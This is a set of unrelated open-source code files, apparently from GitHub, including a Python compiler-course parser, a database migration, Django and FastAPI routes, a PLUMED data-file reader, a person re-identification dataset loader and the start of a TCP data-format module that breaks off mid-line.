{"seq_id":"44660827986","text":"# encoding:utf-8\n\n# @Author: Rilzob\n# @Time: 2018/12/9 上午9:46\n\nfrom Experiment.Lexer import Lexer\nfrom utils import load_file\n\nimport sys\n\n\nclass Parser(Lexer):  # 递归下降分析法\n    def __init__(self):\n        super().__init__()\n        sourcecode = load_file('/Users/rilzob/PycharmProjects/CompileFrontEnd/Experiment/Test3.txt')\n        # sourcecode = load_file('/Users/rilzob/PycharmProjects/CompileFrontEnd/Exercise/SourceCode.txt')\n        self.lexer_scanner(sourcecode)\n        self.worditer = iter(self.wordlist)\n        self.word = next(self.worditer)\n        self.SEM = []  # 语义栈\n        self.SYN = []  # 语法栈\n        self.result = []  # 暂存表达式结果\n        self.QT = []\n        # self.keyword = '_'  # 暂存keyword的值\n        self.id = '_'  # 暂存id的值\n        self.constant = '_'  # 暂存constant的值\n        self.currentwordlist = []\n        self.currentword = ''\n        self.i = 1\n        self.operator = ''\n        self.vartype = ''  # 暂存声明语句中标识符的type\n        self.varname = ''  # 暂存声明语句中标识符的name\n        self.varvalue = ''  # 暂存声明语句中标识符的值\n        self.record = []  # 记录符号的信息\n        self.SYNBL = []  # 符号表总表\n\n    def is_id(self):\n        if self.word in self.iT:\n            return True\n        else:\n            return False\n\n    def varinit(self):\n        self.varname = ''\n        self.vartype = ''\n        self.varvalue = ''\n        self.record = []\n\n    def id_in_SYNBL(self, name):\n        for record in self.SYNBL:\n            if name == record[0]:\n                return True\n        return False\n\n    def _statement(self):  # 声明语句\n        if not self._type():\n            return False\n        if self.is_id():\n            self.id = self.word\n            self.varname = self.word\n            self.word = next(self.worditer)\n            if self.word == '=':\n                self.word = next(self.worditer)\n                if not self._constant():\n                    return False\n                # self.varvalue = self.word\n            self.record.append(self.varname)\n            self.record.append(self.vartype)\n            self.record.append(self.varvalue)\n            self.SYNBL.append(self.record)\n            # 将该变量添加到符号表中\n            self.varinit()\n            return True\n        else:\n            print(\"Error1\")\n            return False\n\n    def _constant(self):\n        if self.word in self.CT:  # 判断是否是num\n            self.constant = self.word\n            self.varvalue = self.word\n            self.word = next(self.worditer)\n            return True\n        elif self.word in self.cT or self.word in self.sT:  # 判断是否是string\n            self.constant = self.word\n            self.varvalue = self.word\n            self.word = next(self.worditer)\n            return True\n        else:\n            print(\"Error4\")\n            return False\n\n    def _type(self):\n        if self.word == 'int' or self.word == 'float' or self.word == 'char':\n            self.vartype = self.word\n            self.word = next(self.worditer)\n            return True\n        else:\n            print(\"Error5\")\n            return False\n\n    def _assignment(self):  # 赋值语句\n        if self.is_id():\n            self.id = self.word\n            if self.id_in_SYNBL(self.id):\n                self.word = next(self.worditer)\n                if self.word == '=':\n                    self.word = next(self.worditer)\n                    if not self._expression():\n                        return False\n                    # self.QT.append('(' + '=' + ',' + str(self.SEM.pop()) + ',' + '_' + ',' + str(self.id) + ')')\n                    quaternary = []\n                    quaternary.append('=')\n                    quaternary.append(str(self.SEM.pop()))\n                    quaternary.append('_')\n                    quaternary.append(str(self.id))\n                    self.QT.append(quaternary)\n                    self.id = '_'  # 重新初始化\n                    return True\n                else:\n                    print(\"Error7\")\n                    return False\n            else:\n                print(\"符号表没有该变量，该变量没有声明\")\n                return False\n        else:\n            print(\"Error6\")\n            return False\n\n    # def is_i(self, word):  # 标识符\n    #     if (word in self.iT) or (word in self.CT):\n    #         return True\n    #     else:\n    #         return False\n\n    def judge_F(self):\n        if self.is_id() or (self.word in self.CT):\n            if self.is_id():\n                if not self.id_in_SYNBL(self.word):\n                    print(\"不在符号表中，变量%s未声明\" % str(self.word))\n                    return False\n            self.SYN.append('PUSH(' + str(self.word) + ')')\n            self.word = next(self.worditer)\n            return True\n        elif self.word == '(':\n            self.word = next(self.worditer)\n            self.judge_E()\n            if self.word == ')':\n                self.word = next(self.worditer)\n                return True\n            else:\n                print(\"Error10\")\n                return False\n        else:\n            print(\"Error9\")\n            return False\n\n    def judge_T(self):\n        if self.judge_F():\n            while True:\n                try:\n                    if self.word in ['*', '/']:\n                        self.currentwordlist.append(self.word)\n                        self.word = next(self.worditer)\n                        if self.judge_F():\n                            self.currentword = self.currentwordlist.pop()\n                            if self.currentword == '*':\n                                self.SYN.append('GEQ(*)')\n                            else:\n                                self.SYN.append('GEQ(/)')\n                            continue\n                        else:\n                            return False\n                    return True\n                except StopIteration:\n                    print(\"结束1\")\n                    sys.exit()\n        else:\n            return False\n\n    def judge_E(self):\n        if self.judge_T():\n            while True:\n                try:\n                    if self.word in ['+', '-']:\n                        self.currentwordlist.append(self.word)\n                        self.word = next(self.worditer)\n                        if self.judge_T():\n                            self.currentword = self.currentwordlist.pop()\n                            if self.currentword == '+':\n                                self.SYN.append('GEQ(+)')\n                            else:\n                                self.SYN.append('GEQ(-)')\n                            continue\n                        else:\n                            return False\n                    return True\n                except StopIteration:\n                    print(\"结束2\")\n                    sys.exit(0)\n        else:\n            return False\n\n    def _expression(self):\n        if not self.judge_E():\n            return False\n        else:\n            for currentstr in self.SYN:\n                if currentstr.startswith('PUSH'):\n                    self.SEM.append(currentstr.lstrip('PUSH(').rstrip(')'))\n                elif currentstr.startswith('GEQ'):\n                    char1 = self.SEM.pop()\n                    char2 = self.SEM.pop()\n                    self.SEM.append('t' + str(self.i))\n                    # self.result.append('t' + str(self.i))\n                    # self.QT.append('(' + currentstr.lstrip('GEQ(').rstrip(')') + ',' + char2 + ','\n                    #                + char1 + ',' + 't' + str(self.i) + ')')\n                    string = 't' + str(self.i)\n                    quaternary = []\n                    quaternary.append(currentstr.lstrip('GEQ(').rstrip(')'))\n                    quaternary.append(char2)\n                    quaternary.append(char1)\n                    quaternary.append(string)\n                    self.QT.append(quaternary)\n                    self.i += 1\n            self.SYN = []  # 重新初始化\n            self.currentwordlist = []\n            self.currentword = ''\n            return True\n\n    def _condition(self):\n        if self.is_id():\n            self.SEM.append(str(self.word))\n            self.word = next(self.worditer)\n        elif not self._expression():\n            return False\n        if self.word in ['<', '>', '|', '&', '<=', '>=']:\n            self.operator = self.word\n            self.word = next(self.worditer)\n            if self.is_id():\n                self.SEM.append(str(self.word))\n                self.word = next(self.worditer)\n            elif not self._expression():\n                return False\n            # self.QT.append('(' + str(self.operator) + ',' + str(self.SEM.pop()) + ',' + str(self.SEM.pop()) + ',' + 't'\n            #                + str(self.i) + ')')\n            string = 't' + str(self.i)\n            quaternary = []\n            quaternary.append(str(self.operator))\n            quaternary.append(str(self.SEM.pop()))\n            quaternary.append(str(self.SEM.pop()))\n            quaternary.append(string)\n            self.QT.append(quaternary)\n            self.i += 1\n            self.operator = ''\n            return True\n        else:\n            return True\n\n    def is_type(self):\n        if self.word == 'int' or self.word == 'float' or self.word == 'char':\n            return True\n        else:\n            return False\n\n    def _sentence(self):\n        if self.is_type():\n            if not self._statement():\n                return False\n            if self.word == ';':\n                # self.QT.append('(' + 'init' + ',' + str(self.constant) + ',' + '_' + ',' + str(self.id) + ')')\n                quaternary = []\n                quaternary.append('init')\n                quaternary.append(str(self.constant))\n                quaternary.append('_')\n                quaternary.append(str(self.id))\n                self.QT.append(quaternary)\n                self.constant = '_'  # 重新初始化\n                self.id = '_'\n                self.word = next(self.worditer)\n                return True\n            else:\n                print(\"Error15\")\n                return False\n        elif self.is_id():\n            if not self._assignment():\n                return False\n            if self.word == ';':\n                self.word = next(self.worditer)\n                return True\n            else:\n                print(\"Error16\")\n                return False\n        elif self._expression():\n            if self.word == ';':\n                self.word = next(self.worditer)\n                return True\n            else:\n                print(\"Error17\")\n                return False\n        else:\n            print(\"Error11\")\n            return False\n\n    def _ifelsecontrol(self):\n        if self.word == 'if':\n            self.word = next(self.worditer)\n            if not self._condition():\n                return False\n            # self.QT.append('(' + 'if' + ',' + 't' + str(self.i - 1) + ',' + '_' + ',' + '_' + ')')\n            string = 't' + str(self.i - 1)\n            quaternary = []\n            quaternary.append('if')\n            quaternary.append(string)\n            quaternary.append('_')\n            quaternary.append('_')\n            self.QT.append(quaternary)\n            if self.word == '{':\n                self.word = next(self.worditer)\n                while True:\n                    if self.word == '}':\n                        break\n                    elif not self._sentence():\n                        return False\n                if self.word == '}':\n                    self.word = next(self.worditer)\n                    if self.word == 'else':\n                        # self.QT.append('(' + 'el' + ',' + '_' + ',' + '_' + ',' + '_' + ')')\n                        quaternary = []\n                        quaternary.append('el')\n                        quaternary.append('_')\n                        quaternary.append('_')\n                        quaternary.append('_')\n                        self.QT.append(quaternary)\n                        self.word = next(self.worditer)\n                        if self.word == '{':\n                            self.word = next(self.worditer)\n                            while True:\n                                if self.word == '}':\n                                    break\n                                elif not self._sentence():\n                                    return False\n                            if self.word == '}':\n                                # self.QT.append('(' + 'ie' + ',' + '_' + ',' + '_' + ',' + '_' + ')')\n                                quaternary = []\n                                quaternary.append('ie')\n                                quaternary.append('_')\n                                quaternary.append('_')\n                                quaternary.append('_')\n                                self.QT.append(quaternary)\n                                self.word = next(self.worditer)\n                                return True\n                            else:\n                                print(\"Error18\")\n                                return False\n                        else:\n                            print(\"Error19\")\n                            return False\n                    else:\n                        # self.QT.append('(' + 'ie' + ',' + '_' + ',' + '_' + ',' + '_' + ')')\n                        quaternary = []\n                        quaternary.append('ie')\n                        quaternary.append('_')\n                        quaternary.append('_')\n                        quaternary.append('_')\n                        self.QT.append(quaternary)\n                        return True\n                else:\n                    print(\"Error12\")\n                    return False\n            else:\n                print(\"Error13\")\n                return False\n        else:\n            print(\"Error14\")\n            return False\n\n    def _whilecontrol(self):\n        if self.word == 'while':\n            # self.QT.append('(' + 'wh' + ',' + '_' + ',' + '_' + ',' + '_' + ')')\n            quaternary = []\n            quaternary.append('wh')\n            quaternary.append('_')\n            quaternary.append('_')\n            quaternary.append('_')\n            self.QT.append(quaternary)\n            self.word = next(self.worditer)\n            if not self._expression():\n                return False\n            if self.word == '{':\n                self.word = next(self.worditer)\n                if not self._sentence():\n                    return False\n                if self.word == '}':\n                    self.word = next(self.worditer)\n                    # self.QT.append('(' + 'we' + ',' + '_' + ',' + '_' + ',' + '_' + ')')\n                    quaternary = []\n                    quaternary.append('we')\n                    quaternary.append('_')\n                    quaternary.append('_')\n                    quaternary.append('_')\n                    self.QT.append(quaternary)\n                    return True\n                else:\n                    print(\"Error20\")\n                    return False\n            else:\n                print(\"Error21\")\n                return False\n        else:\n            print(\"Error22\")\n            return False\n\n    def _forcontrol(self):\n        if self.word == 'for':\n            self.word = next(self.worditer)\n            if self.word == '(':\n                self.word = next(self.worditer)\n                if not self._assignment():\n                    return False\n                if self.word == ';':\n                    self.word = next(self.worditer)\n                    if not self._expression():\n                        return False\n                    if self.word == ';':\n                        self.word = next(self.worditer)\n                        if not self._expression():\n                            return False\n                        if self.word == ')':\n                            self.word = next(self.worditer)\n                            if self.word == '{':\n                                self.word = next(self.worditer)\n                                if not self._sentence():\n                                    return False\n                                if self.word == '}':\n                                    self.word = next(self.worditer)\n                                    return True\n                                else:\n                                    print(\"Error23\")\n                                    return False\n                            else:\n                                print(\"Error24\")\n                                return False\n                        else:\n                            print(\"Error25\")\n                            return False\n                    else:\n                        print(\"Error26\")\n                        return False\n                else:\n                    print(\"Error27\")\n                    return False\n            else:\n                print(\"Error28\")\n                return False\n        else:\n            print(\"Error29\")\n            return False\n\n    def _control(self):\n        if self.word == 'if':\n            if not self._ifelsecontrol():\n                return False\n            else:\n                return True\n        elif self.word == 'while':\n            if not self._whilecontrol():\n                return False\n            else:\n                return True\n        elif self.word == 'for':\n            if not self._forcontrol():\n                return False\n            else:\n                return True\n        else:\n            print(\"Error30\")\n            return False\n\n    def _main(self):\n        while True:\n            try:\n                if self.is_id() or self.is_type():\n                    if self._sentence():\n                        continue\n                    else:\n                        return False\n                elif self.word in ['if', 'while', 'for']:\n                    if self._control():\n                        continue\n                    else:\n                        return False\n                else:\n                    return False\n            except StopIteration:\n                print(\"符合语法\")\n                # sys.exit(0)","repo_name":"Rilzob/CompileFrontEnd","sub_path":"Experiment/Parser.py","file_name":"Parser.py","file_ext":"py","file_size_in_byte":18374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"47448472208","text":"from sqlalchemy import *\nfrom migrate import *\n\n\nfrom migrate.changeset import schema\npre_meta = MetaData()\npost_meta = MetaData()\nflavor__types = Table('flavor__types', post_meta,\n    Column('id', Integer),\n    Column('name', String(length=64), primary_key=True, nullable=False),\n    Column('vcpus', Integer),\n    Column('memory_mb', Integer),\n    Column('disk_gb', Integer),\n)\n\n\ndef upgrade(migrate_engine):\n    # Upgrade operations go here. Don't create your own engine; bind\n    # migrate_engine to your metadata\n    pre_meta.bind = migrate_engine\n    post_meta.bind = migrate_engine\n    post_meta.tables['flavor__types'].create()\n\n\ndef downgrade(migrate_engine):\n    # Operations to reverse the above upgrade go here.\n    pre_meta.bind = migrate_engine\n    post_meta.bind = migrate_engine\n    post_meta.tables['flavor__types'].drop()\n","repo_name":"DevOpsTCS/DevOps","sub_path":"DevOps1/Serviceorchestration/db_repository/versions/012_migration.py","file_name":"012_migration.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"16046913231","text":"from django.urls import path, include\nfrom . import views\napp_name='account'\nurlpatterns = [\n\n    path('<int:seller_id>',views.profile,name='profile'),\n    path('<int:prod_id>/product/',views.product_detail,name='product_detail'),\n    path('add_product',views.add_product,name='add_product'),\n    path('add_address',views.add_address,name='add_address'),\n    path('add_address2',views.add_address2,name='add_address2'),\n    path('account', views.account, name='account'),\n    path('basket',views.view_basket,name='basket'),\n    path('<int:item_id>/addToBasket/',views.add_to_basket,name='add_to_basket'),\n    path('<int:item_id>/removeBasket/',views.remove_from_basket,name='remove_from_basket'),\n    path('checkout',views.checkout,name='checkout'),\n    path('<int:order_id>/orderSummary/',views.orderSummary,name='orderSummary'),\n    path('orderHistory',views.orderHistory,name='orderHistory'),\n    path('<int:item_id>/updateProduct/',views.updateProduct,name='updateProduct'),\n    path('<int:address_id>/updateAddress/',views.updateAddress,name='updateAddress'),\n    path('<int:item_id>/deleteItem/',views.deleteItem,name='deleteItem'),\n    path('<int:address_id>/deleteAddress/',views.deleteAddress,name='deleteAddress'),\n    path('availability',views.change_availability,name='available'),\n]","repo_name":"mclarachu/marketplace","sub_path":"marketplace/profile/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1295,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"31574018256","text":"from fastapi import FastAPI, HTTPException\nfrom movie import get_movie_recommendation\nfrom mangum import Mangum\nfrom fastapi.middleware.cors import CORSMiddleware\n\napp = FastAPI()\nhandler = Mangum(app)\nMAX_INPUT_LENGTH = 50\n\n# adding headers to responses for Cross-Origin Response Blocked error\napp.add_middleware(\n    CORSMiddleware,\n    allow_origins=[\"*\"],\n    allow_credentials=True,\n    allow_methods=[\"*\"],\n    allow_headers=[\"*\"],\n)\n\n@app.get(\"/movies\")\nasync def generate_snippet_api(prompt: str):    \n    validate_input_length(prompt)\n    snippet = get_movie_recommendation(prompt)\n    return {\"snippet\": snippet, \"keywords\": []}\n\ndef validate_input_length(prompt: str):\n    if len(prompt) >= MAX_INPUT_LENGTH:\n        raise HTTPException(\n            status_code=400,\n            detail=f\"Input length is too long. Must be under {MAX_INPUT_LENGTH} characters.\",\n        )","repo_name":"yolandamckee/you-favorite-AI-book-shelf","sub_path":"app/movie_api.py","file_name":"movie_api.py","file_ext":"py","file_size_in_byte":881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"22932245300","text":"import numpy as np\n\n# = = = NOTE: Below is a sample PRINT STRIDE FILE data\n#! FIELDS time q.w q.x q.y q.z rest0.bias\n# 0.000000 0.312824 0.361795 -0.802215 -0.357347 9.982789\n\n# There are N columns, each of which is spaced.\n# So, we should read the first field line as a header-designator.\n# This needes to be before any data, or else the function should abort.\n\n# It should be noted that PLUMED defaults to single precision.\n# Therefore, we are using np.float32 as the conversion.\n\n# This function reads in a PLUMED output done with the PRINT command.\n# It expects files of the following form:\n# #! FIELDS field1 field2 ...\n# entry1 entry2\n# entry3 entry4\n# ...\n#\n# The function will check for internal consistency, and return a list of two arrays :\n# [ field_names(nfields), parsed_data(nfields, nentries) ]\n# The parsed data array is in F-ordering.\ndef read_from_plumedprint(fname):\n    bHeaderRead=False\n    #get number of lines and read headers\n    ncomm=0\n    nempty=0\n    ndata=0\n    nfields=0\n    field_names=[]\n    parsed_data=[]\n    with open(fname) as fp:\n        for ntot, line in enumerate(fp):\n            if line == '\\n':\n                nempty=nempty+1\n                continue\n            if line.startswith(\"#\"):\n                ncomm=ncomm+1\n                l = line.split()\n                # Check if this comment line is a header line with FIELD.\n                if l[1]==\"FIELDS\":\n                    if bHeaderRead:\n                        field_names_comp=[ l[i] for i in range(2,len(l)) ]\n                        for a,b in zip(field_names, field_names_comp):\n                            if a != b:\n                                print( '= = ERROR: Multiple FIELD headers are present to indicate parallel trajectoreies, but their entries do not agree!' ) \n                                print( field_names )\n                                print( field_names_comp )\n                                return -1\n                    else:\n                        field_names=[ l[i] for i in range(2,len(l)) ]\n                        nfields=len(field_names)\n                        bHeaderRead=True\n                continue\n\n            # The default behaviour is now a data line.\n            if not bHeaderRead:\n                print( '= = ERROR: Data-like line encountered before a FIELDS definition! Line as follows:' )\n                print( line )\n                return -1\n            l = line.split()\n            if len(l) != nfields:\n                print( '= = ERROR: Data-like line does not have the same number of fields as defined in FIELDS! ( %i )' % (nfields) )\n                print( l )\n                return -1\n            for i in range(len(l)):\n                parsed_data.append(np.float32(l[i]))\n\n    #Add one to enumerate output, then remove counts for comments and empty lines\n    ndata=ntot+1-ncomm-nempty\n    print( '= = Input file %s has been read: Found %i data-like lines in input plumed FES file, with %i comment lines. ' % (fname, ndata, ncomm) )\n    if nempty > 0:\n        print( '= = = NOTE: There are %i empty lines' % nempty )\n    print( '= = = %i field entries discovered. Field entries are as follows:' % nfields )\n    print( str(field_names).strip('[]') )\n\n    # Now reshape parsed_data to match the lines read and the total number of fields.\n    parsed_data=np.reshape(parsed_data, (nfields,ndata), order='F')\n\n    return field_names, parsed_data\n\ndef read_from_plumedprint_multi(fname):\n    bHeaderRead=False\n    #get number of lines and read headers\n    ncomm=0\n    nempty=0\n    ndata=0\n    nfields=0\n    nchunks=0\n    field_names=[]\n    output_data=[]\n    parsed_data=[]\n    with open(fname) as fp:\n        for ntot, line in enumerate(fp):\n            if line == '\\n':\n                nempty=nempty+1\n                continue\n            if line.startswith(\"#\"):\n                ncomm=ncomm+1\n                l = line.split()\n                # Check if this comment line is a header line with FIELD.\n                if l[1]==\"FIELDS\":\n                    nchunks += 1\n                    nf=len(l)\n                    temp=[]\n                    for i in range(2,nf):\n                        temp.append(l[i])\n                    nfields=len(temp)\n                    field_names.append(temp)\n                    bHeaderRead=True\n                    #Copy previous data-chunk to a new item\n                    if len(parsed_data) != 0:\n                        output_data.append(parsed_data)\n                        parsed_data=[]\n                continue\n\n            # The default behaviour is now a data line.\n            if not bHeaderRead:\n                print( '= = ERROR: Data-like line encountered before a FIELDS definition! Line as follows:' )\n                print( line )\n                return -1\n            l = line.split()\n            if len(l) != nfields:\n                print( '= = ERROR: Data-like line does not have the same number of fields as defined in FIELDS!' )\n                return -1\n            floats=[float(x) for x in l]\n            parsed_data.append(floats)\n\n    #Add last bit to overall array.\n    output_data.append(parsed_data)\n\n    #Add one to enumerate output, then remove counts for comments and empty lines\n    ndata=ntot+1-ncomm-nempty\n    print( '= = Input file %s has been read: Found %i data-like lines in input plumed FES file, with %i comment lines. ' % (fname, ndata, ncomm) )\n    if nempty > 0:\n        print( '= = = NOTE: There are %i empty lines' % nempty )\n    print( '= = = %i * %i field entries discovered. Field entries are as follows:' % (nchunks, nfields) )\n    print( field_names )\n\n    # Now reshape parsed_data to match the lines read and the total number of fields.\n    #parsed_data=np.reshape(parsed_data, (nfields,ndata), order='F')\n\n    return field_names, np.array(output_data)\n\n\n# This function reverses the read function and outputs a basic PLUMED PRINT file.\n#\n# It is intended for bug-checking and hacking imitation PLUMED outputs from python.\ndef write_to_plumedprint(fname, field_names, data):\n    # Surrogate print( function, useful for things like mimicking HILLS files and others. )\n\n    #Consistency checks first.\n    shape=data.shape\n    nfields=len(field_names)\n    if shape[0] != nfields:\n        print( '= = ERROR: in function write_to_plumedprint, the number of fields do not match between the input data (%i) and field lists (%i)!' % (shape[0], nfields) )\n        return -1\n\n    fp=open(fname,'w')\n    # Input HEADER data.\n    print( \"#! FIELDS \"+\" \".join(field_names), file=fp )\n\n    for i in range(shape[1]):\n        print( \" \".join(\"%8f\" % data[j][i] for j in range(shape[0])), file=fp )\n    fp.close()\n    print( '= = File %s has been written.' % fname )\n    return\n","repo_name":"zharmad/SpinRelax","sub_path":"plumedcolvario.py","file_name":"plumedcolvario.py","file_ext":"py","file_size_in_byte":6718,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"20528722352","text":"import os\nimport re\nimport glob\nimport h5py\nimport random\nimport math\nimport logging\nimport numpy as np\nimport os.path as osp\nfrom scipy.io import loadmat\nfrom tools.utils import mkdir_if_missing, write_json, read_json\n\n\nclass LTCC(object):\n    \"\"\" LTCC\n\n    Reference:\n        Qian et al. Long-Term Cloth-Changing Person Re-identification. arXiv:2005.12633, 2020.\n\n    URL: https://naiq.github.io/LTCC_Perosn_ReID.html#\n    \"\"\"\n    dataset_dir = 'LTCC_ReID'\n    def __init__(self, root='data', **kwargs):\n        self.dataset_dir = osp.join(root, self.dataset_dir)\n        self.train_dir = osp.join(self.dataset_dir, 'train')\n        self.query_dir = osp.join(self.dataset_dir, 'query')\n        self.gallery_dir = osp.join(self.dataset_dir, 'test')\n        self._check_before_run()\n\n        train, num_train_pids, num_train_imgs, num_train_clothes, pid2clothes = \\\n            self._process_dir_train(self.train_dir)\n        query, gallery, num_test_pids, num_query_imgs, num_gallery_imgs, num_test_clothes = \\\n            self._process_dir_test(self.query_dir, self.gallery_dir)\n        num_total_pids = num_train_pids + num_test_pids\n        num_total_imgs = num_train_imgs + num_query_imgs + num_gallery_imgs\n        num_test_imgs = num_query_imgs + num_gallery_imgs \n        num_total_clothes = num_train_clothes + num_test_clothes\n\n        logger = logging.getLogger('reid.dataset')\n        logger.info(\"=> LTCC loaded\")\n        logger.info(\"Dataset statistics:\")\n        logger.info(\"  ----------------------------------------\")\n        logger.info(\"  subset   | # ids | # images | # clothes\")\n        logger.info(\"  ----------------------------------------\")\n        logger.info(\"  train    | {:5d} | {:8d} | {:9d}\".format(num_train_pids, num_train_imgs, num_train_clothes))\n        logger.info(\"  test     | {:5d} | {:8d} | {:9d}\".format(num_test_pids, num_test_imgs, num_test_clothes))\n        logger.info(\"  query    | {:5d} | {:8d} |\".format(num_test_pids, num_query_imgs))\n        logger.info(\"  gallery  | {:5d} | {:8d} |\".format(num_test_pids, num_gallery_imgs))\n        logger.info(\"  ----------------------------------------\")\n        logger.info(\"  total    | {:5d} | {:8d} | {:9d}\".format(num_total_pids, num_total_imgs, num_total_clothes))\n        logger.info(\"  ----------------------------------------\")\n\n        self.train = train\n        self.query = query\n        self.gallery = gallery\n\n        self.num_train_pids = num_train_pids\n        self.num_train_clothes = num_train_clothes\n        self.pid2clothes = pid2clothes\n\n    def _check_before_run(self):\n        \"\"\"Check if all files are available before going deeper\"\"\"\n        if not osp.exists(self.dataset_dir):\n            raise RuntimeError(\"'{}' is not available\".format(self.dataset_dir))\n        if not osp.exists(self.train_dir):\n            raise RuntimeError(\"'{}' is not available\".format(self.train_dir))\n        if not osp.exists(self.query_dir):\n            raise RuntimeError(\"'{}' is not available\".format(self.query_dir))\n        if not osp.exists(self.gallery_dir):\n            raise RuntimeError(\"'{}' is not available\".format(self.gallery_dir))\n\n    def _process_dir_train(self, dir_path):\n        img_paths = glob.glob(osp.join(dir_path, '*.png'))\n        img_paths.sort()\n        pattern1 = re.compile(r'(\\d+)_(\\d+)_c(\\d+)')\n        pattern2 = re.compile(r'(\\w+)_c')\n\n        pid_container = set()\n        clothes_container = set()\n        for img_path in img_paths:\n            pid, _, _ = map(int, pattern1.search(img_path).groups())\n            clothes_id = pattern2.search(img_path).group(1)\n            pid_container.add(pid)\n            clothes_container.add(clothes_id)\n        pid_container = sorted(pid_container)\n        clothes_container = sorted(clothes_container)\n        pid2label = {pid:label for label, pid in enumerate(pid_container)}\n        clothes2label = {clothes_id:label for label, clothes_id in enumerate(clothes_container)}\n\n        num_pids = len(pid_container)\n        num_clothes = len(clothes_container)\n\n        dataset = []\n        pid2clothes = np.zeros((num_pids, num_clothes))\n        for img_path in img_paths:\n            pid, _, camid = map(int, pattern1.search(img_path).groups())\n            clothes = pattern2.search(img_path).group(1)\n            camid -= 1 # index starts from 0\n            pid = pid2label[pid]\n            clothes_id = clothes2label[clothes]\n            dataset.append((img_path, pid, camid, clothes_id))\n            pid2clothes[pid, clothes_id] = 1\n        \n        num_imgs = len(dataset)\n\n        return dataset, num_pids, num_imgs, num_clothes, pid2clothes\n\n    def _process_dir_test(self, query_path, gallery_path):\n        query_img_paths = glob.glob(osp.join(query_path, '*.png'))\n        gallery_img_paths = glob.glob(osp.join(gallery_path, '*.png'))\n        query_img_paths.sort()\n        gallery_img_paths.sort()\n        pattern1 = re.compile(r'(\\d+)_(\\d+)_c(\\d+)')\n        pattern2 = re.compile(r'(\\w+)_c')\n\n        pid_container = set()\n        clothes_container = set()\n        for img_path in query_img_paths:\n            pid, _, _ = map(int, pattern1.search(img_path).groups())\n            clothes_id = pattern2.search(img_path).group(1)\n            pid_container.add(pid)\n            clothes_container.add(clothes_id)\n        for img_path in gallery_img_paths:\n            pid, _, _ = map(int, pattern1.search(img_path).groups())\n            clothes_id = pattern2.search(img_path).group(1)\n            pid_container.add(pid)\n            clothes_container.add(clothes_id)\n        pid_container = sorted(pid_container)\n        clothes_container = sorted(clothes_container)\n        pid2label = {pid:label for label, pid in enumerate(pid_container)}\n        clothes2label = {clothes_id:label for label, clothes_id in enumerate(clothes_container)}\n\n        num_pids = len(pid_container)\n        num_clothes = len(clothes_container)\n\n        query_dataset = []\n        gallery_dataset = []\n        for img_path in query_img_paths:\n            pid, _, camid = map(int, pattern1.search(img_path).groups())\n            clothes_id = pattern2.search(img_path).group(1)\n            camid -= 1 # index starts from 0\n            clothes_id = clothes2label[clothes_id]\n            query_dataset.append((img_path, pid, camid, clothes_id))\n\n        for img_path in gallery_img_paths:\n            pid, _, camid = map(int, pattern1.search(img_path).groups())\n            clothes_id = pattern2.search(img_path).group(1)\n            camid -= 1 # index starts from 0\n            clothes_id = clothes2label[clothes_id]\n            gallery_dataset.append((img_path, pid, camid, clothes_id))\n        \n        num_imgs_query = len(query_dataset)\n        num_imgs_gallery = len(gallery_dataset)\n\n        return query_dataset, gallery_dataset, num_pids, num_imgs_query, num_imgs_gallery, num_clothes\n\n","repo_name":"guxinqian/Simple-CCReID","sub_path":"data/datasets/ltcc.py","file_name":"ltcc.py","file_ext":"py","file_size_in_byte":6851,"program_lang":"python","lang":"en","doc_type":"code","stars":103,"dataset":"github-code","pt":"35"}
{"seq_id":"72763074022","text":"# file read/write stuff\r\ndef writeFile(pathToFile, contents):\r\n    file = open(pathToFile, 'w+', encoding='utf-8')\r\n    file.write(str(contents))\r\n    file.close()\r\n\r\ndef readFile(pathToFile):\r\n    file = open(pathToFile, 'r', encoding='utf-8')\r\n    contents = file.read()\r\n    file.close()\r\n    return contents\r\n\r\ninput('Did you remember to update both version numbers in /src/core.js (enter to compile)')\r\n\r\nINPUT_FILES = readFile('inputFiles.txt').split('\\n') # A list of files to join together\r\nOUTPUT_FILE = 'wrk.js' # Where to output the compiled product\r\n\r\n# Go through the input files and join them together\r\noutput = ''\r\nfor fileIdx in range(len(INPUT_FILES)):\r\n    filename = INPUT_FILES[fileIdx]\r\n    if len(filename) > 0:\r\n        content = readFile(filename)\r\n        output += content + '\\n\\n'\r\n\r\nwriteFile(OUTPUT_FILE, output)","repo_name":"ThatCoolCoder/wrk.js","sub_path":"compiler.py","file_name":"compiler.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"32514775930","text":"from number_conversion import Number_conver\nfrom py_tcpsocket import Tcpsocket\n\n\n# data format: 0: data_flag;1: data_type;2: parity_flag;3: data_length high;4: data_length low;5~: byte data\nTRANS_FLAG_LENGTH        = 1                                 # send data flag: 1bits\nDATA_TYPE_LENGTH         = 1                                 # data type: float or double\nPARITY_LENGTH            = 1                                 # parity check of data: 1bits: 0 or 1\nDATA_LEN_FLAG_LENGTH     = 2                                 # max data lens: 65535 bytes, 16383 float or 8191 double\n\nFLAG_LENGTH              = TRANS_FLAG_LENGTH + DATA_TYPE_LENGTH + PARITY_LENGTH + DATA_LEN_FLAG_LENGTH   # 5\n\nTRANS_FLAG_POSITION      = 0                                           # 0, the index in send data char array\nDATA_TYPE_POSITION       = TRANS_FLAG_POSITION + TRANS_FLAG_LENGTH     # 1, the index in send data char array\nPARITY_POSITION          = DATA_TYPE_POSITION + DATA_TYPE_LENGTH       # 2, the index in send data char array\nDATA_LEN_POSITION        = PARITY_POSITION + PARITY_LENGTH             # 3\nDATA_POSITION            = DATA_LEN_POSITION + DATA_LEN_FLAG_LENGTH    # 5\n\n\n# data type: float, double\nDATA_FLOAT32             = 32\nDATA_FLOAT64             = 64\nDATA_BOOL                = 1\nDATA_CHAR                = 8\nDATA_UCHAR               = 9\nDATA_INT                 = 32 + 1\nDATA_LONG                = 64 + 1\n\n# send data flag: 0~127\nCONNECTION_FLAG          = 1\nDATA_FLAG                